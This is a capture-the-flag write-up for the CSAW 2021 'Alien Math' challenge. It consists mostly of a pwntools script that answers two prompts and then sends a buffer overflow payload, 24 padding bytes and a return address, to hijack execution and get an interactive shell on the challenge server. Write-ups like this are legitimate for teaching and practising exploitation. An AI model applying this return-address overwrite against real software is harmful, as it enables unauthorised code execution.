Rating:

Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/alien-math/)

# Alien Math

Writeup by: [GoProSlowYo](https://github.com/GoProSlowYo) solved by [jrozner](https://github.com/jrozner)

Team: [OnlyFeet](https://ctftime.org/team/144644)

Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/alien-math/)

----

```text
Brush off your Flirbgarple textbooks!

nc pwn.chal.csaw.io 5004
```

## Creating and Using the Exploit

Used pwntools to create an exploit script and use it.

```shell
#!/usr/bin/env python
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']
exe = './alien_math'

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote('pwn.chal.csaw.io', 5004)
else:
return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break * 0x004012de
continue
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start()
io.sendlineafter('zopnol?\n', " 1804289383")
io.sendlineafter('qorbnorbf?\n', b'7856445899213065428791')
io.sendlineafter('salwzoblrs?\n', b'A'*24 + p64(0x4014fb))
io.interactive()

```

## Victory

Submit the flag and claim the points:

**flag{[email protected][email protected]_m4573R!}**

Original writeup (https://infosecstreams.github.io/csaw21/alien-math).